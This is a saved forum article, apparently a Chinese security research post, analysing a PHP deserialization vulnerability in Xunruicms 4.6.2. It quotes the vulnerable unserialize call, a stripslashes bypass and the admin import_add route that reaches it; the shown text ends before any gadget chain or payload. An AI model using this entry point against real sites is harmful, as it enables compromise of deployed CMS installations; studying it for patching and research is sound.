Penetration_Testing_POC/books/Xunruicms反序列化漏洞利用链挖掘过程.html

861 lines
382 KiB
HTML
Raw Normal View History

<!DOCTYPE html> <html><!--
Page saved with SingleFile
url: https://forum.butian.net/share/2788
--><meta charset=utf-8>
<meta http-equiv=X-UA-Compatible content="IE=edge">
<meta name=viewport content="width=device-width, initial-scale=1">
<meta name=csrf-token content=VD0owLiLrat8LaN2vBAqJtnLFngrtZgXtzYM7DqG>
<title>Xunruicms反序列化漏洞利用链挖掘过程</title>
<meta name=keywords content=奇安信,天眼,补天,漏洞,情报,攻防,安全>
<meta name=description content=奇安信攻防社区-Xunruicms反序列化漏洞利用链挖掘过程>
<meta name=author content="QIANXIN Team">
<meta name=copyright content="2021 QIANXIN.com">
<style>@media(max-width:767px){}</style>
<style>/*!
* Bootstrap v3.4.1 (https://getbootstrap.com/)
* Copyright 2011-2019 Twitter, Inc.
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
*//*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}a:active,a:hover{outline:0}img{border:0}textarea{color:inherit;font:inherit;margin:0}textarea{overflow:auto}/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{-webkit-tap-highlight-color:rgba(0,0,0,0)}a:focus,a:hover{color:#23527c;text-decoration:underline}a:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}img{vertical-align:middle}h2,h3{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}h3{margin-top:20px;margin-bottom:10px}h3{font-size:24px}p{margin:0 0 10px}@media(min-width:768px){}.text-muted{color:#777}ul{margin-top:0;margin-bottom:10px}.list-inline{padding-left:0;list-style:none;margin-left:-5px}.list-inline>li{display:inline-block;padding-right:5px;padding-left:5px}@media(min-width:768px){}code{color:#c7254e}pre{display:block;margin:0 0 10px;color:#333;word-break:break-all;border:1px solid #ccc}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media(min-width:768px){.container{width:750px}}@media(min-width:992px){.container{width:970px}}@media(min-width:1200px){.container{width:1170px}}.row{margin-right:-15px;margin-left:-15px}.col-xs-12{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-12{float:left}.col-xs-12{width:100%}@media(min-width:768px){}@media(min-width:992px){.col-md-9{float:left}}@media(min-width:1200px){}@media screen and (max-width:767px){}@media screen and (-webkit-min-device-pixel-ratio:0){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-device-width:480px) and (orientation:landscape){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-width:767px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-width:767px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-width:767px){}@media(max-width:767px){}@media screen and (min-width:768px){}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@media(min-width:768px){}@media(min-width:992px){}@media all and (transform-3d),(-webkit-transform-3d){}@media screen and (min-width:768px){}.btn-group-vertical>.btn-group:after,.btn-group-vertical>.btn-group:before,.btn-toolbar:after,.btn-toolbar:before,.clearfix:after,.clearfix:before,.container-fluid:after,.container-fluid:before,.container:after,.container:before,.dl-horizontal dd:after,.dl-horizontal dd:before,.form-horizontal .form-group:after,.form-horizontal .form-group:before,.modal-footer:after,.modal-footer:before,.modal-header:after,.modal-header:before,.nav:after,.nav:before,.navbar-collapse:after,.navbar-collapse:before,.navbar-header:after,.navbar-header:before,.navbar:after,.navbar:before,.pager:after,.pager:before,.panel-body:after,.panel-body:before,.row:after,.row:before{display:table;content:" "}.btn-group-vertical>.btn-group:after,.btn-toolbar:after,.clearfix:after,.container-fluid:after,.container:after,.dl-horizontal dd:after,.form-horizontal .form-group:after,.modal-footer:after,.modal-header:after,.nav:after,.navbar-collapse:after,.navbar-header:after,.navbar:after,.pager:after,.panel-body:after,.row:after{clear:both}@-ms-viewport{width:device-width}@media(max-width:767px){}@media(max-width:767p
<style>/*!
* Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
*/@font-face{font-family:"FontAwesome";src:url(data:font/woff2;base64,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
<style>@media(min-width:1200px){}@media(min-width:768px){}@media(max-width:767px){}@media(max-width:767px){}pre{white-space:pre-wrap}@media(min-width:768px){}@media(min-width:992px){}@media(min-width:1200px){}html{font-size:10px;-webkit-tap-highlight-color:transparent}body{font-family:-apple-system,"Helvetica Neue",Helvetica,Arial,"PingFang SC","Hiragino Sans GB","WenQuanYi Micro Hei","Microsoft Yahei",sans-serif;font-size:14px;line-height:1.5;color:#333;background-color:#f6f6f6;word-break:break-word}textarea{font-family:inherit;font-size:inherit;line-height:inherit}ul{padding:0}.wrap{padding-bottom:30px;position:relative}.main{background-color:#fff;border-radius:4px}.mb-20{margin-bottom:20px}.mt-10{margin-top:10px}.mt-30{margin-top:30px}.taglist-inline{list-style:none;padding:0;font-size:0}.taglist-inline li{padding:0;font-size:13px}.taglist-inline>li{display:inline-block;margin-right:5px}.taglist-inline>li:last-child{margin-right:0}.widget-article .quote{padding:25px;background:#f3f5f9;line-height:24px;overflow:hidden}@media(min-width:768px){}.word-wrap{word-wrap:break-word;word-break:normal}::-webkit-scrollbar{width:6px;height:6px}::-webkit-scrollbar-thumb{background-color:#e4e6eb;outline:0;border-radius:2px}::-webkit-scrollbar-track{box-shadow:none;border-radius:2px}</style>
<style>a{text-decoration:none}a:focus,a:hover{color:#004e31;text-decoration:underline}@media(max-width:767px){}@media(max-width:767px){}.tag{display:inline-block;padding:0 8px;color:#017e66;background-color:#e7f2ed;height:24px;line-height:24px;font-weight:400;font-size:13px;text-align:center}.tag[href]:focus,.tag[href]:hover{background-color:#017e66;color:#fff;text-decoration:none}</style>
<style>@-moz-keyframes blink{50%{background-color:transparent}}@-webkit-keyframes blink{50%{background-color:transparent}}@keyframes blink{50%{background-color:transparent}}pre code.hljs{overflow-x:auto}.hljs{color:#000}.hljs-comment,.hljs-variable{color:green}.hljs-built_in,.hljs-keyword{color:#00f}.hljs-literal,.hljs-string,.hljs-title{color:#a31515}.hljs-meta{color:#2b91af}.markdown-body{color-scheme:light;--color-prettylights-syntax-comment:#6e7781;--color-prettylights-syntax-constant:#0550ae;--color-prettylights-syntax-entity:#8250df;--color-prettylights-syntax-storage-modifier-import:#24292f;--color-prettylights-syntax-entity-tag:#116329;--color-prettylights-syntax-keyword:#cf222e;--color-prettylights-syntax-string:#0a3069;--color-prettylights-syntax-variable:#953800;--color-prettylights-syntax-brackethighlighter-unmatched:#82071e;--color-prettylights-syntax-invalid-illegal-text:#f6f8fa;--color-prettylights-syntax-invalid-illegal-bg:#82071e;--color-prettylights-syntax-carriage-return-text:#f6f8fa;--color-prettylights-syntax-carriage-return-bg:#cf222e;--color-prettylights-syntax-string-regexp:#116329;--color-prettylights-syntax-markup-list:#3b2300;--color-prettylights-syntax-markup-heading:#0550ae;--color-prettylights-syntax-markup-italic:#24292f;--color-prettylights-syntax-markup-bold:#24292f;--color-prettylights-syntax-markup-deleted-text:#82071e;--color-prettylights-syntax-markup-deleted-bg:#ffebe9;--color-prettylights-syntax-markup-inserted-text:#116329;--color-prettylights-syntax-markup-inserted-bg:#dafbe1;--color-prettylights-syntax-markup-changed-text:#953800;--color-prettylights-syntax-markup-changed-bg:#ffd8b5;--color-prettylights-syntax-markup-ignored-text:#eaeef2;--color-prettylights-syntax-markup-ignored-bg:#0550ae;--color-prettylights-syntax-meta-diff-range:#8250df;--color-prettylights-syntax-brackethighlighter-angle:#57606a;--color-prettylights-syntax-sublimelinter-gutter-mark:#8c959f;--color-prettylights-syntax-constant-other-reference-link:#0a3069;--color-fg-default:#24292f;--color-fg-muted:#57606a;--color-fg-subtle:#6e7781;--color-canvas-default:#fff;--color-canvas-subtle:#f6f8fa;--color-border-default:#d0d7de;--color-border-muted:hsl(210,18%,87%);--color-neutral-muted:rgba(175,184,193,0.2);--color-accent-fg:#0969da;--color-accent-emphasis:#0969da;--color-attention-subtle:#fff8c5;--color-danger-fg:#cf222e}.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;margin:0;color:var(--color-fg-default);background-color:var(--color-canvas-default);font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body strong{font-weight:600}.markdown-body img{border-style:none;max-width:100%;-webkit-box-sizing:content-box;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body ::-webkit-input-placeholder{color:inherit;opacity:.54}.markdown-body ::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}.markdown-body h2{margin-top:24px;margin-bottom:16px;line-height:1.25}.markdown-body h2{font-weight:600;padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body ul,.markdown-body ol{padding-left:2em}.markdown-body code{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.markdown-body pre{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;word-wrap:normal}.markdown-body ::-webkit-input-placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body ::placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body p,.markdown-body ul,.markdown-body ol,.markdown-body pre{margin-top:0;margin-bottom:16px}.markdown-body ol ul{margin-top:0;margin-bottom:0}.markdown-body li>p{margin-top:16px}.markdown-body li+li{margin
<style>#md_view{padding:0 20px}#md_view img:hover{cursor:pointer}</style>
<!--[if lt IE 9]>
<script src="/static/js/html5shiv.min.js"></script>
<script src="/static/js/respond.min.js"></script>
<![endif]-->
<style>html #layuicss-skinlayercss{display:none;position:absolute;width:1989px}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.
* Waves v0.7.5
* http://fian.my.id/Waves
*
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
* Released under the MIT license
* https://github.com/fians/Waves/blob/master/LICENSE
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:transl
<body>
<div class="global-nav mb-50" style="display:none !important">
</div>
<div class="top-alert mt-60 clearfix text-center" style="display:none !important">
<!--[if lt IE 9]>
<div class="alert alert-danger topframe" role="alert">你的浏览器实在<strong>太太太太太太旧了</strong>,放学别走,升级完浏览器再说
<a target="_blank" class="alert-link" href="http://browsehappy.com">立即升级</a>
</div>
<![endif]-->
</div>
<div class=wrap>
<div class=container>
<div class="row mt-10">
<div class="col-xs-12 col-md-9 main">
<div class=widget-article>
<h3 class="title word-wrap">Xunruicms反序列化漏洞利用链挖掘过程</h3>
<ul class=taglist-inline>
<li class=tagPopup><a class=tag href=https://forum.butian.net/topic/48>漏洞分析</a></li>
</ul>
<div class="content mt-10">
<div class="quote mb-20">
这个漏洞点是某个群友发出来的,于是就想着自己挖掘一下利用链,学习一下,然后就有了这篇文章
</div>
<textarea id=md_view_content style=display:none>测试环境
----
V 4.6.2 (似乎小于这个版本的都行)
漏洞点
---
```php
\xunruicms\dayrui\Fcms\Core\Helper.php
```
```php
function dr_string2array($data, $limit = '') {
&nbsp; &nbsp;if (!$data) {
&nbsp; &nbsp; &nbsp; &nbsp;return [];
&nbsp; } elseif (is_array($data)) {
&nbsp; &nbsp; &nbsp; &nbsp;$rt = $data;
&nbsp; } else {
&nbsp; &nbsp; &nbsp; &nbsp;$rt = json_decode($data, true);
&nbsp; &nbsp; &nbsp; &nbsp;if (!$rt) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$rt = unserialize(stripslashes($data));
&nbsp; &nbsp; &nbsp; }
&nbsp; }
&nbsp; &nbsp;if (is_array($rt) &amp;&amp; $limit) {
&nbsp; &nbsp; &nbsp; &nbsp;return dr_arraycut($rt, $limit);
&nbsp; }
&nbsp; &nbsp;return $rt;
}
```
这里的**unserialize**函数里面存在一个`stripslashes`函数,这个可以绕过,只有将$data中的`\`修改为`\\`即可,在此之前,需要解决
`json_decode`的问题正常的json字符串会被解析然后返回解析的值如果传入的是不正常的字符串它会解析失败返回false然后才能进入`unserialize`
在这个过程中,$data并没有其他过多的检查从而造成了反序列化漏洞
传参入口寻找
------
为了能够利用这个unserialize函数必须找到$data的输入点ALT+F7搜索`dr_string2array`函数,找到了许多结果
![image-20230712092809189](https://raw.githubusercontent.com/todis21/image/main/image-20230712092809189.png)
找了很多,发现只有这个函数操作性比较强,其他的调用有许多是不可控的,或者是过滤
```php
xunruicms\dayrui\Fcms\Control\Admin\Field.php
```
![image-20230712093851847](https://raw.githubusercontent.com/todis21/image/main/image-20230712093851847.png)
看看这个`import_add`方法
首先先判断是不是post请求进入if语句然后接收一个post参数code 然后通过`\r\n`对字符串进行分割,变为数组
如果post的code有数值就不会进入if(!$arr), 绕后就遍历这个数组,把数组中的每一个数值都传到`dr_string2array`中,然后就是触发反序列化
下一个问题,如何才能进入这个`import_add`函数呢
在路由解析的过程中会接收两个参数,`c`和`m` 其中c获取的是类名m获取的是方法名 ,获取之后会调用对应方法
尝试访问
```php
http://127.0.0.1/?c=field&amp;m=import_add
```
出现404
观察一下目录因为这个field类在Admin目录里面的,可能要访问admin.php
```php
http://127.0.0.1/admin3a609e1d6cff.php?c=field&amp;m=import_add
```
